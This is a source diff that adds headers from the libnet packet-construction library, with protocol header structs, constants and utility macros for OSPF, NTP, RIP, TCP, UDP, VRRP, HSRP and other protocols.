isl_user:4, /* user defined bits */ + isl_type:4; /* type of frame */ +#endif + u_int8_t isl_shost[6]; /* source address */ + u_int16_t isl_len; /* total length of packet - 18 bytes */ + u_int8_t isl_snap[6]; /* 0xaaaa03 + vendor code */ + u_int16_t isl_vid; /* 15 bit VLAN ID, 1 bit BPDU / CDP indicator */ + u_int16_t isl_index; /* port index */ + u_int16_t isl_reserved; /* used for FDDI and token ring */ + /* ethernet frame and 4 byte isl crc */ +}; + +#ifndef IPPROTO_OSPF +#define IPPROTO_OSPF 89 /* not everyone's got this */ +#endif +#define IPPROTO_OSPF_LSA 890 /* made this up. Hope it's unused */ +#define LIBNET_MODX 4102 /* used in LSA checksum */ + +/* + * Options used in multiple OSPF packets + * More info can be found in section A.2 of RFC 2328. + */ +#define LIBNET_OPT_EBIT 0x02 /* describes the way AS-external-LSAs are flooded */ +#define LIBNET_OPT_MCBIT 0x04 /* whether or not IP multicast dgrams are fwdd */ +#define LIBNET_OPT_NPBIT 0x08 /* describes handling of type-7 LSAs */ +#define LIBNET_OPT_EABIT 0x10 /* rtr's willingness to send/recv EA-LSAs */ +#define LIBNET_OPT_DCBIT 0x20 /* describes handling of demand circuits */ + + +/* + * MPLS header + * Multi-Protocol Label Switching + * Static header size: 4 bytes + */ +struct libnet_mpls_hdr +{ + u_int32_t mpls_les; /* 20 bits label, 3 bits exp, 1 bit bos, ttl */ +#define LIBNET_MPLS_BOS_ON 1 +#define LIBNET_MPLS_BOS_OFF 0 +}; + +/* + * NTP header + * Network Time Protocol + * Static header size: 48 bytes + */ +struct libnet_ntp_hdr_l_fp /* int32_t floating point (64-bit) */ +{ + u_int32_t integer; /* integer */ + u_int32_t fraction; /* fraction */ +}; + +struct libnet_ntp_hdr_s_fp /* int16_t floating point (32-bit) */ +{ + u_int16_t integer; /* integer */ + u_int16_t fraction; /* fraction */ +}; + + +struct libnet_ntp_hdr +{ + u_int8_t ntp_li_vn_mode; /* leap indicator, version, mode */ +#define LIBNET_NTP_LI_NW 0x0 /* no warning */ +#define LIBNET_NTP_LI_AS 0x1 /* last minute has 61 seconds */ +#define LIBNET_NTP_LI_DS 0x2 /* last minute has 59 seconds */ +#define LIBNET_NTP_LI_AC 0x3 /* alarm condition */ + +#define LIBNET_NTP_VN_2 0x2 /* version 2 */ +#define LIBNET_NTP_VN_3 0x3 /* version 3 */ +#define LIBNET_NTP_VN_4 0x4 /* version 4 */ + +#define LIBNET_NTP_MODE_R 0x0 /* reserved */ +#define LIBNET_NTP_MODE_A 0x1 /* symmetric active */ +#define LIBNET_NTP_MODE_P 0x2 /* symmetric passive */ +#define LIBNET_NTP_MODE_C 0x3 /* client */ +#define LIBNET_NTP_MODE_S 0x4 /* server */ +#define LIBNET_NTP_MODE_B 0x5 /* broadcast */ +#define LIBNET_NTP_MODE_RC 0x6 /* reserved for NTP control message */ +#define LIBNET_NTP_MODE_RP 0x7 /* reserved for private use */ + u_int8_t ntp_stratum; /* stratum */ +#define LIBNET_NTP_STRATUM_UNAVAIL 0x0 /* unspecified or unavailable */ +#define LIBNET_NTP_STRATUM_PRIMARY 0x1 /* primary reference (radio clock) */ + /* 2 - 15 is secondary */ + /* 16 - 255 is reserved */ + u_int8_t ntp_poll; /* poll interval (should be 4 - 12) */ + u_int8_t ntp_precision; /* local clock precision */ + struct libnet_ntp_hdr_s_fp ntp_delay; /* roundtrip delay */ + struct libnet_ntp_hdr_s_fp ntp_dispersion; /* nominal error */ + u_int32_t ntp_reference_id; /* reference source id */ +#define LIBNET_NTP_REF_LOCAL 0x4c4f434c /* uncalibrated local clock */ +#define LIBNET_NTP_REF_PPS 0x50505300 /* atomic / pulse-per-second clock */ +#define LIBNET_NTP_REF_ACTS 0x41435453 /* NIST dialup modem */ +#define LIBNET_NTP_REF_USNO 0x55534e4f /* USNO modem service */ +#define LIBNET_NTP_REF_PTB 0x50544200 /* PTB (German) modem service */ +#define LIBNET_NTP_REF_TDF 0x54444600 /* Allouis (French) radio */ +#define LIBNET_NTP_REF_DCF 0x44434600 /* Mainflingen (German) radio */ +#define LIBNET_NTP_REF_MSF 0x4d534600 /* Rugby (UK) radio */ +#define LIBNET_NTP_REF_WWV 0x57575600 /* Ft Collins (US) radio */ +#define LIBNET_NTP_REF_WWVB 0x57575642 /* Boulder (US) radio */ +#define LIBNET_NTP_REF_WWVH 0x57575648 /* Kaui Hawaii (US) radio */ +#define LIBNET_NTP_REF_CHU 0x43485500 /* Ottaha (Canada) radio */ +#define LIBNET_NTP_REF_LORC 0x4c4f5243 /* LORAN-C radionavigation */ +#define LIBNET_NTP_REF_OMEG 0x4f4d4547 /* OMEGA radionavigation */ +#define LIBNET_NTP_REF_GPS 0x47505300 /* global positioning system */ +#define LIBNET_NTP_REF_GOES 0x474f4553 /* geostationary orbit env satellite */ + struct libnet_ntp_hdr_l_fp ntp_ref_ts; /* reference timestamp */ + struct libnet_ntp_hdr_l_fp ntp_orig_ts; /* originate timestamp */ + struct libnet_ntp_hdr_l_fp ntp_rec_ts; /* receive timestamp */ + struct libnet_ntp_hdr_l_fp ntp_xmt_ts; /* transmit timestamp */ +}; + + +/* + * OSPFv2 header + * Open Shortest Path First + * Static header size: 16 bytes + */ +struct libnet_ospf_hdr +{ + u_int8_t ospf_v; /* version */ +#define OSPFVERSION 2 + u_int8_t ospf_type; /* type */ +#define LIBNET_OSPF_UMD 0 /* UMd monitoring packet */ +#define LIBNET_OSPF_HELLO 1 /* HELLO packet */ +#define LIBNET_OSPF_DBD 2 /* dataBase description packet */ +#define LIBNET_OSPF_LSR 3 /* link state request packet */ +#define LIBNET_OSPF_LSU 4 /* link state Update Packet */ +#define LIBNET_OSPF_LSA 5 /* link state acknowledgement packet */ + u_int16_t ospf_len; /* length */ + struct in_addr ospf_rtr_id; /* source router ID */ + struct in_addr ospf_area_id;/* roam ID */ + u_int16_t ospf_sum; /* checksum */ + u_int16_t ospf_auth_type; /* authentication type */ +#define LIBNET_OSPF_AUTH_NULL 0 /* null password */ +#define LIBNET_OSPF_AUTH_SIMPLE 1 /* simple, plaintext, 8 int8_t password */ +#define LIBNET_OSPF_AUTH_MD5 2 /* MD5 */ +}; + + +/* + * OSPF authentication header + * Open Shortest Path First + * Static header size: 8 bytes + */ +struct libnet_auth_hdr +{ + u_int16_t ospf_auth_null; /* NULL */ + u_int8_t ospf_auth_keyid; /* authentication key ID */ + u_int8_t ospf_auth_len; /* auth data length */ + u_int ospf_auth_seq; /* cryptographic sequence number */ +}; + + +/* + * OSPF hello header + * Open Shortest Path First + * Static header size: 28 bytes + */ +struct libnet_ospf_hello_hdr +{ + struct in_addr hello_nmask; /* netmask associated with the interface */ + u_int16_t hello_intrvl; /* num of seconds between routers last packet */ + u_int8_t hello_opts; /* Options for HELLO packets (look above) */ + u_int8_t hello_rtr_pri; /* router's priority (if 0, can't be backup) */ + u_int hello_dead_intvl; /* # of secs a router is silent till deemed down */ + struct in_addr hello_des_rtr; /* Designated router on the network */ + struct in_addr hello_bkup_rtr; /* Backup router */ + struct in_addr hello_nbr; /* neighbor router, memcpy more as needed */ +}; + + +/* + * Database Description header. + */ +struct libnet_dbd_hdr +{ + u_int16_t dbd_mtu_len; /* max length of IP dgram that this 'if' can use */ + u_int8_t dbd_opts; /* DBD packet options (from above) */ + u_int8_t dbd_type; /* type of exchange occurring */ +#define LIBNET_DBD_IBI 0x01 /* init */ +#define LIBNET_DBD_MBIT 0x02 /* more DBD packets are to come */ +#define LIBNET_DBD_MSBIT 0x04 /* If 1, sender is the master in the exchange */ + u_int dbd_seq; /* DBD sequence number */ +}; + + +/* + * used for the LS type field in all LS* headers + */ +#define LIBNET_LS_TYPE_RTR 1 /* router-LSA */ +#define LIBNET_LS_TYPE_NET 2 /* network-LSA */ +#define LIBNET_LS_TYPE_IP 3 /* summary-LSA (IP Network) */ +#define LIBNET_LS_TYPE_ASBR 4 /* summary-LSA (ASBR) */ +#define LIBNET_LS_TYPE_ASEXT 5 /* AS-external-LSA */ + + +/* + * Link State Request header + */ +struct libnet_lsr_hdr +{ + u_int lsr_type; /* type of LS being requested */ + u_int lsr_lsid; /* link state ID */ + struct in_addr lsr_adrtr; /* advertising router (memcpy more as needed) */ +}; + + +/* + * Link State Update header + */ +struct libnet_lsu_hdr +{ + u_int lsu_num; /* number of LSAs that will be broadcasted */ +}; + + +/* + * Link State Acknowledgement header. + */ +struct libnet_lsa_hdr +{ + u_int16_t lsa_age; /* time in seconds since the LSA was originated */ + u_int8_t lsa_opts; /* look above for OPTS_* */ + u_int8_t lsa_type; /* look below for LS_TYPE_* */ + u_int lsa_id; /* link State ID */ + struct in_addr lsa_adv; /* router ID of Advertising router */ + u_int lsa_seq; /* LSA sequence number to detect old/bad ones */ + u_int16_t lsa_sum; /* "Fletcher Checksum" of all fields minus age */ + u_int16_t lsa_len; /* length in bytes including the 20 byte header */ +}; + + +/* + * Router LSA data format + * + * Other stuff for TOS can be added for backward compatability, for this + * version, only OSPFv2 is being FULLY supported. + */ +struct libnet_rtr_lsa_hdr +{ + u_int16_t rtr_flags; /* set to help describe packet */ +#define LIBNET_RTR_FLAGS_W 0x0100 /* W bit */ +#define LIBNET_RTR_FLAGS_E 0x0200 /* E bit */ +#define LIBNET_RTR_FLAGS_B 0x0400 /* B bit */ + u_int16_t rtr_num; /* number of links within that packet */ + u_int rtr_link_id; /* describes link_data (look below) */ +#define LIBNET_LINK_ID_NBR_ID 1 /* Neighbors router ID, also can be 4 */ +#define LIBNET_LINK_ID_IP_DES 2 /* IP address of designated router */ +#define LIBNET_LINK_ID_SUB 3 /* IP subnet number */ + u_int rtr_link_data; /* Depending on link_id, info is here */ + u_int8_t rtr_type; /* Description of router link */ +#define LIBNET_RTR_TYPE_PTP 1 /* Point-To-Point */ +#define LIBNET_RTR_TYPE_TRANS 2 /* Connection to a "transit network" */ +#define LIBNET_RTR_TYPE_STUB 3 /* Connectin to a "stub network" */ +#define RTR_TYPE_VRTL 4 /* connects to a "virtual link" */ + u_int8_t rtr_tos_num; /* number of different TOS metrics for this link */ + u_int16_t rtr_metric; /* the "cost" of using this link */ +}; + + +/* + * Network LSA data format. + */ +struct libnet_net_lsa_hdr +{ + struct in_addr net_nmask; /* Netmask for that network */ + u_int net_rtr_id; /* ID of router attached to that network */ +}; + + +/* + * Summary LSA data format. + */ +struct libnet_sum_lsa_hdr +{ + struct in_addr sum_nmask; /* Netmask of destination IP address */ + u_int sum_metric; /* Same as in rtr_lsa (&0xfff to use last 24bit */ + u_int sum_tos_metric; /* first 8bits are TOS, 24bits are TOS Metric */ +}; + + +/* + * AS External LSA data format. + * & 0xfff logic operator for as_metric to get last 24bits. + */ +struct libnet_as_lsa_hdr +{ + struct in_addr as_nmask; /* Netmask for advertised destination */ + u_int as_metric; /* May have to set E bit in first 8bits */ +#define LIBNET_AS_E_BIT_ON 0x80000000 /* as_metric */ + struct in_addr as_fwd_addr; /* Forwarding address */ + u_int as_rte_tag; /* External route tag */ +}; + + +/* + * Base RIP header + * Routing Information Protocol + * Base header size: 24 bytes + */ +struct libnet_rip_hdr +{ + u_int8_t rip_cmd; /* RIP command */ +#define RIPCMD_REQUEST 1 /* want info */ +#define RIPCMD_RESPONSE 2 /* responding to request */ +#define RIPCMD_TRACEON 3 /* turn tracing on */ +#define RIPCMD_TRACEOFF 4 /* turn it off */ +#define RIPCMD_POLL 5 /* like request, but anyone answers */ +#define RIPCMD_POLLENTRY 6 /* like poll, but for entire entry */ +#define RIPCMD_MAX 7 /* ? command */ + u_int8_t rip_ver; /* RIP version */ +#define RIPVER_0 0 +#define RIPVER_1 1 +#define RIPVER_2 2 + u_int16_t rip_rd; /* Zero (v1) or Routing Domain (v2) */ + u_int16_t rip_af; /* Address family */ + u_int16_t rip_rt; /* Zero (v1) or Route Tag (v2) */ + u_int32_t rip_addr; /* IP address */ + u_int32_t rip_mask; /* Zero (v1) or Subnet Mask (v2) */ + u_int32_t rip_next_hop; /* Zero (v1) or Next hop IP address (v2) */ + u_int32_t rip_metric; /* Metric */ +}; + +/* + * RPC headers + * Remote Procedure Call + */ +#define LIBNET_RPC_CALL 0 +#define LIBNET_RPC_REPLY 1 +#define LIBNET_RPC_VERS 2 +#define LIBNET_RPC_LAST_FRAG 0x80000000 + +/* + * Portmap defines + */ +#define LIBNET_PMAP_PROGRAM 100000 +#define LIBNET_PMAP_PROC_NULL 0 +#define LIBNET_PMAP_PROC_SET 1 +#define LIBNET_PMAP_PROC_UNSET 2 +#define LIBNET_PMAP_PROC_GETADDR 3 +#define LIBNET_PMAP_PROC_DUMP 4 +#define LIBNET_PMAP_PROC_CALLIT 5 +#define LIBNET_PMAP_PROC_BCAST 5 /* Not a typo */ +#define LIBNET_PMAP_PROC_GETTIME 6 +#define LIBNET_PMAP_PROC_UADDR2TADDR 7 +#define LIBNET_PMAP_PROC_TADDR2UADDR 8 +#define LIBNET_PMAP_PROC_GETVERSADDR 9 +#define LIBNET_PMAP_PROC_INDIRECT 10 +#define LIBNET_PMAP_PROC_GETADDRLIST 11 +#define LIBNET_PMAP_PROC_GETSTAT 12 + +/* There will be more to add... */ + +struct libnet_rpc_opaque_auth +{ + u_int32_t rpc_auth_flavor; + u_int32_t rpc_auth_length; +#if 0 + u_int8_t *rpc_auth_data; +#endif +}; + +struct libnet_rpc_call +{ + u_int32_t rpc_rpcvers; /* RPC version - must be 2 */ + u_int32_t rpc_prognum; /* Program Number */ + u_int32_t rpc_vers; /* Program Version */ + u_int32_t rpc_procedure; /* RPC procedure */ + struct libnet_rpc_opaque_auth rpc_credentials; + struct libnet_rpc_opaque_auth rpc_verifier; +}; + +struct libnet_rpc_call_hdr +{ + u_int32_t rpc_xid; /* xid (transaction identifier) */ + u_int32_t rpc_type; + struct libnet_rpc_call rpc_call; +}; + +struct libnet_rpc_call_tcp_hdr +{ + u_int32_t rpc_record_marking; /* used with byte stream protocols */ + struct libnet_rpc_call_hdr rpc_common; +}; + +/* + * STP configuration header + * Spanning Tree Protocol + * Static header size: 35 bytes + */ +struct libnet_stp_conf_hdr +{ + u_int16_t stp_id; /* protocol id */ + u_int8_t stp_version; /* protocol version */ + u_int8_t stp_bpdu_type; /* bridge protocol data unit type */ + u_int8_t stp_flags; /* control flags */ + u_int8_t stp_rootid[8]; /* root id */ + u_int32_t stp_rootpc; /* root path cost */ + u_int8_t stp_bridgeid[8]; /* bridge id */ + u_int16_t stp_portid; /* port id */ + u_int16_t stp_mage; /* message age */ + u_int16_t stp_maxage; /* max age */ + u_int16_t stp_hellot; /* hello time */ + u_int16_t stp_fdelay; /* forward delay */ +}; + + +/* + * STP topology change notification header + * Spanning Tree Protocol + * Static header size: 4 bytes + */ +struct libnet_stp_tcn_hdr +{ + u_int16_t stp_id; /* protocol id */ + u_int8_t stp_version; /* protocol version */ + u_int8_t stp_bpdu_type; /* bridge protocol data unit type */ +}; + + +/* + * TCP header + * Transmission Control Protocol + * Static header size: 20 bytes + */ +struct libnet_tcp_hdr +{ + u_int16_t th_sport; /* source port */ + u_int16_t th_dport; /* destination port */ + u_int32_t th_seq; /* sequence number */ + u_int32_t th_ack; /* acknowledgement number */ +#if (LIBNET_LIL_ENDIAN) + u_int8_t th_x2:4, /* (unused) */ + th_off:4; /* data offset */ +#endif +#if (LIBNET_BIG_ENDIAN) + u_int8_t th_off:4, /* data offset */ + th_x2:4; /* (unused) */ +#endif + u_int8_t th_flags; /* control flags */ +#ifndef TH_FIN +#define TH_FIN 0x01 /* finished send data */ +#endif +#ifndef TH_SYN +#define TH_SYN 0x02 /* synchronize sequence numbers */ +#endif +#ifndef TH_RST +#define TH_RST 0x04 /* reset the connection */ +#endif +#ifndef TH_PUSH +#define TH_PUSH 0x08 /* push data to the app layer */ +#endif +#ifndef TH_ACK +#define TH_ACK 0x10 /* acknowledge */ +#endif +#ifndef TH_URG +#define TH_URG 0x20 /* urgent! */ +#endif +#ifndef TH_ECE +#define TH_ECE 0x40 +#endif +#ifndef TH_CWR +#define TH_CWR 0x80 +#endif + u_int16_t th_win; /* window */ + u_int16_t th_sum; /* checksum */ + u_int16_t th_urp; /* urgent pointer */ +}; + +/* + * Token Ring Header + */ +struct libnet_token_ring_hdr +{ + u_int8_t token_ring_access_control; +#define LIBNET_TOKEN_RING_FRAME 0x10 + u_int8_t token_ring_frame_control; +#define LIBNET_TOKEN_RING_LLC_FRAME 0x40 + u_int8_t token_ring_dhost[TOKEN_RING_ADDR_LEN]; + u_int8_t token_ring_shost[TOKEN_RING_ADDR_LEN]; + u_int8_t token_ring_llc_dsap; + u_int8_t token_ring_llc_ssap; + u_int8_t token_ring_llc_control_field; + u_int8_t token_ring_llc_org_code[LIBNET_ORG_CODE_SIZE]; + u_int16_t token_ring_type; +#define TOKEN_RING_TYPE_IP 0x0800 /* IP protocol */ +#define TOKEN_RING_TYPE_ARP 0x0806 /* addr. resolution protocol */ +#define TOKEN_RING_TYPE_REVARP 0x8035 /* reverse addr. resolution protocol */ +}; + +struct libnet_token_ring_addr +{ + u_int8_t token_ring_addr_octet[6]; /* Token Ring address */ +}; + +/* + * UDP header + * User Data Protocol + * Static header size: 8 bytes + */ +struct libnet_udp_hdr +{ + u_int16_t uh_sport; /* soure port */ + u_int16_t uh_dport; /* destination port */ + u_int16_t uh_ulen; /* length */ + u_int16_t uh_sum; /* checksum */ +}; + +/* + * Sebek header + * Static header size: 48 bytes + */ +struct libnet_sebek_hdr +{ + u_int32_t magic; /* identify packets that should be hidden */ + u_int16_t version; /* protocol version, currently 1 */ +#define SEBEK_PROTO_VERSION 1 + u_int16_t type; /* type of record (read data is type 0, write data is type 1) */ +#define SEBEK_TYPE_READ 0 /* Currently, only read is supported */ +#define SEBEK_TYPE_WRITE 1 + u_int32_t counter; /* PDU counter used to identify when packet are lost */ + u_int32_t time_sec; /* seconds since EPOCH according to the honeypot */ + u_int32_t time_usec; /* residual microseconds */ + u_int32_t pid; /* PID */ + u_int32_t uid; /* UID */ + u_int32_t fd; /* FD */ +#define SEBEK_CMD_LENGTH 12 + u_int8_t cmd[SEBEK_CMD_LENGTH]; /* 12 first characters of the command */ + u_int32_t length; /* length in bytes of the PDU's body */ +}; + + +/* + * VRRP header + * Virtual Router Redundancy Protocol + * Static header size: 8 bytes + */ +#ifndef IPPROTO_VRRP +#define IPPROTO_VRRP 112 /* not everyone's got this */ +#endif +struct libnet_vrrp_hdr +{ +#if (LIBNET_LIL_ENDIAN) + u_int8_t vrrp_v:4, /* protocol version */ + vrrp_t:4; /* packet type */ +#endif +#if (LIBNET_BIG_ENDIAN) + u_int8_t vrrp_t:4, /* packet type */ + vrrp_v:4; /* protocol version */ +#endif +#define LIBNET_VRRP_VERSION_01 0x1 +#define LIBNET_VRRP_VERSION_02 0x2 +#define LIBNET_VRRP_TYPE_ADVERT 0x1 + u_int8_t vrrp_vrouter_id; /* virtual router id */ + u_int8_t vrrp_priority; /* priority */ + u_int8_t vrrp_ip_count; /* number of IP addresses */ + u_int8_t vrrp_auth_type; /* authorization type */ +#define LIBNET_VRRP_AUTH_NONE 0x1 +#define LIBNET_VRRP_AUTH_PASSWD 0x2 +#define LIBNET_VRRP_AUTH_IPAH 0x3 + u_int8_t vrrp_advert_int; /* advertisement interval */ + u_int16_t vrrp_sum; /* checksum */ + /* additional addresses */ + /* authentication info */ +}; + + +/* + * HSRP header + * Static header size: 20 bytes + */ +struct libnet_hsrp_hdr +{ +#define LIBNET_HSRP_VERSION 0x0 + u_int8_t version; /* Version of the HSRP messages */ +#define LIBNET_HSRP_TYPE_HELLO 0x0 +#define LIBNET_HSRP_TYPE_COUP 0x1 +#define LIBNET_HSRP_TYPE_RESIGN 0x2 + u_int8_t opcode; /* Type of message */ +#define LIBNET_HSRP_STATE_INITIAL 0x0 +#define LIBNET_HSRP_STATE_LEARN 0x1 +#define LIBNET_HSRP_STATE_LISTEN 0x2 +#define LIBNET_HSRP_STATE_SPEAK 0x4 +#define LIBNET_HSRP_STATE_STANDBY 0x8 +#define LIBNET_HSRP_STATE_ACTIVE 0x10 + u_int8_t state; /* Current state of the router */ + u_int8_t hello_time; /* Period in seconds between hello messages */ + u_int8_t hold_time; /* Seconds that the current hello message is valid */ + u_int8_t priority; /* Priority for the election proccess */ + u_int8_t group; /* Standby group */ + u_int8_t reserved; /* Reserved field */ +#define HSRP_AUTHDATA_LENGTH 8 + u_int8_t authdata[HSRP_AUTHDATA_LENGTH]; /* Password */ + u_int32_t virtual_ip; /* Virtual IP address */ +}; + +#endif /* __LIBNET_HEADERS_H */ + +/* EOF */ diff --git a/libnet/include/libnet/libnet-macros.h b/libnet/include/libnet/libnet-macros.h new file mode 100644 index 0000000..2a46adc --- /dev/null +++ b/libnet/include/libnet/libnet-macros.h @@ -0,0 +1,204 @@ +/* + * $Id: libnet-macros.h,v 1.7 2004/04/13 17:32:28 mike Exp $ + * + * libnet-macros.h - Network routine library macro header file + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#ifndef __LIBNET_MACROS_H +#define __LIBNET_MACROS_H +/** + * @file libnet-macros.h + * @brief libnet macros and symbloc constants + */ + +/* for systems without snprintf */ +#if defined(NO_SNPRINTF) +#define snprintf(buf, len, args...) sprintf(buf, ##args) +#endif + + +/** + * Used for libnet's name resolution functions, specifies that no DNS lookups + * should be performed and the IP address should be kept in numeric form. + */ +#define LIBNET_DONT_RESOLVE 0 + +/** + * Used for libnet's name resolution functions, specifies that a DNS lookup + * can be performed if needed to resolve the IP address to a canonical form. + */ +#define LIBNET_RESOLVE 1 + +/** + * Used several places, to specify "on" or "one" + */ +#define LIBNET_ON 0 + +/** + * Used several places, to specify "on" or "one" + */ +#define LIBNET_OFF 1 + +/** + * IPv6 error code + */ +#ifndef IN6ADDR_ERROR_INIT +#define IN6ADDR_ERROR_INIT { { { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \ + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \ + 0xff, 0xff } } } +#endif + +/** + * Used for libnet_get_prand() to specify function disposition + */ +#define LIBNET_PR2 0 +#define LIBNET_PR8 1 +#define LIBNET_PR16 2 +#define LIBNET_PRu16 3 +#define LIBNET_PR32 4 +#define LIBNET_PRu32 5 +#define LIBNET_PRAND_MAX 0xffffffff + +/** + * The biggest an IP packet can be -- 65,535 bytes. + */ +#define LIBNET_MAX_PACKET 0xffff +#ifndef IP_MAXPACKET +#define IP_MAXPACKET 0xffff +#endif + + +/* ethernet addresses are 6 octets long */ +#ifndef ETHER_ADDR_LEN +#define ETHER_ADDR_LEN 0x6 +#endif + +/* FDDI addresses are 6 octets long */ +#ifndef FDDI_ADDR_LEN +#define FDDI_ADDR_LEN 0x6 +#endif + +/* token ring addresses are 6 octets long */ +#ifndef TOKEN_RING_ADDR_LEN +#define TOKEN_RING_ADDR_LEN 0x6 +#endif + +/* LLC Organization Code is 3 bytes long */ +#define LIBNET_ORG_CODE_SIZE 0x3 + +/** + * The libnet error buffer is 256 bytes long. + */ +#define LIBNET_ERRBUF_SIZE 0x100 + +/** + * IP and TCP options can be up to 40 bytes long. + */ +#define LIBNET_MAXOPTION_SIZE 0x28 + +/* some BSD variants have this endianess problem */ +#if (LIBNET_BSD_BYTE_SWAP) +#define FIX(n) ntohs(n) +#define UNFIX(n) htons(n) +#else +#define FIX(n) (n) +#define UNFIX(n) (n) +#endif + +/* used internaly for packet builders */ +#define LIBNET_DO_PAYLOAD(l, p) \ +if ((payload && !payload_s) || (!payload && payload_s)) \ +{ \ + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, \ + "%s(): payload inconsistency\n", __func__); \ + goto bad; \ +} \ +if (payload && payload_s) \ +{ \ + n = libnet_pblock_append(l, p, payload, payload_s); \ + if (n == (u_int32_t) - 1) \ + { \ + goto bad; \ + } \ +} \ + + +/* used internally for checksum stuff */ +#define LIBNET_CKSUM_CARRY(x) \ + (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff)) + +/* used interally for OSPF stuff */ +#define LIBNET_OSPF_AUTHCPY(x, y) \ + memcpy((u_int8_t *)x, (u_int8_t *)y, sizeof(y)) +#define LIBNET_OSPF_CKSUMBUF(x, y) \ + memcpy((u_int8_t *)x, (u_int8_t *)y, sizeof(y)) + +/* used internally for NTP leap indicator, version, and mode */ +#define LIBNET_NTP_DO_LI_VN_MODE(li, vn, md) \ + ((u_int8_t)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7))) + +/* Not all systems have IFF_LOOPBACK */ +#ifdef IFF_LOOPBACK +#define LIBNET_ISLOOPBACK(p) ((p)->ifr_flags & IFF_LOOPBACK) +#else +#define LIBNET_ISLOOPBACK(p) (strcmp((p)->ifr_name, "lo0") == 0) +#endif + +/* advanced mode check */ +#define LIBNET_ISADVMODE(x) (x & 0x08) + +/* context queue macros and constants */ +#define LIBNET_LABEL_SIZE 64 +#define LIBNET_LABEL_DEFAULT "cardshark" +#define CQ_LOCK_UNLOCKED (u_int)0x00000000 +#define CQ_LOCK_READ (u_int)0x00000001 +#define CQ_LOCK_WRITE (u_int)0x00000002 + +/** + * Provides an interface to iterate through the context queue of libnet + * contexts. Before calling this macro, be sure to set the queue using + * libnet_cq_head(). + */ +#define for_each_context_in_cq(l) \ + for (l = libnet_cq_head(); libnet_cq_last(); l = libnet_cq_next()) + +/* return 1 if write lock is set on cq */ +#define cq_is_wlocked() (l_cqd.cq_lock & CQ_LOCK_WRITE) + +/* return 1 if read lock is set on cq */ +#define cq_is_rlocked() (l_cqd.cq_lock & CQ_LOCK_READ) + +/* return 1 if any lock is set on cq */ +#define cq_is_locked() (l_cqd.cq_lock & (CQ_LOCK_READ | CQ_LOCK_WRITE)) + +/* check if a context queue is locked */ +#define check_cq_lock(x) (l_cqd.cq_lock & x) + +#endif /* __LIBNET_MACROS_H */ + +/* EOF */ diff --git a/libnet/include/libnet/libnet-structures.h b/libnet/include/libnet/libnet-structures.h new file mode 100644 index 0000000..25d5591 --- /dev/null +++ b/libnet/include/libnet/libnet-structures.h @@ -0,0 +1,223 @@ +/* + * $Id: libnet-structures.h,v 1.19 2004/11/09 07:05:07 mike Exp $ + * + * libnet-structures.h - Network routine library structures header file + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#ifndef __LIBNET_STRUCTURES_H +#define __LIBNET_STRUCTURES_H + +#if ((__WIN32__) && !(__CYGWIN__)) +#include "Packet32.h" +#endif + +/* port list chain structure */ +typedef struct libnet_port_list_chain libnet_plist_t; +struct libnet_port_list_chain +{ + u_int16_t node; /* node number */ + u_int16_t bport; /* beggining port */ + u_int16_t eport; /* terminating port */ + u_int8_t id; /* global array offset */ + libnet_plist_t *next; /* next node in the list */ +}; + + +/* libnet statistics structure */ +struct libnet_stats +{ +#if (!defined(__WIN32__) || (__CYGWIN__)) + u_int64_t packets_sent; /* packets sent */ + u_int64_t packet_errors; /* packets errors */ + u_int64_t bytes_written; /* bytes written */ 